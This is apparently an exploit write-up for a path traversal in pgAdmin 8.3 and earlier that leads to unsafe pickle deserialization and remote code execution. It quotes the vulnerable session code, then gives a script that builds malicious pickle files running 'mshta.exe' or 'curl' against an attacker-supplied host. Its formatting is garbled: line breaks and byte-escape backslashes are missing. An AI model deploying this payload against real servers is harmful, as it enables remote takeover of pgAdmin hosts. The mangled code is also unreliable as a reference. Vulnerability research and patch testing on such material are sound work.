pgAdmin (<=8.3) 会话处理中的路径遍历导致不安全的反序列化和远程代码执行 (RCE)

def get(self, sid, digest): # sid and digest are read from the cookie, therefore user-controllable'Retrieve a managed session by session-id, checking the HMAC digest'    fname = os.path.join(self.path, sid) # <-- by controlling the sid we can force os.path.join into returning an arbitrary absolute path    data = None    hmac_digest = None    randval = Noneif os.path.exists(fname):try:with open(fname, 'rb') as f: # <-- open will read a file from the absolute path                randval, hmac_digest, data = load(f) # <-- load is pickle.load, the deserialization entry-pointexcept Exception:pass# ...SNIP...

import structimport sysdef produce_pickle_bytes(platform, cmd):    b = b'x80x04x95'    b += struct.pack('L', 22 + len(platform) + len(cmd))    b += b'x8c' + struct.pack('b', len(platform)) + platform.encode()    b += b'x94x8cx06systemx94x93x94'    b += b'x8c' + struct.pack('b', len(cmd)) + cmd.encode()    b += b'x94x85x94Rx94.'    print(b)return bif __name__ == '__main__':if len(sys.argv) != 2:        exit(f"usage: {sys.argv[0]} ip:port")with open('nt.pickle', 'wb') as f:        f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))with open('posix.pickle', 'wb') as f:        f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))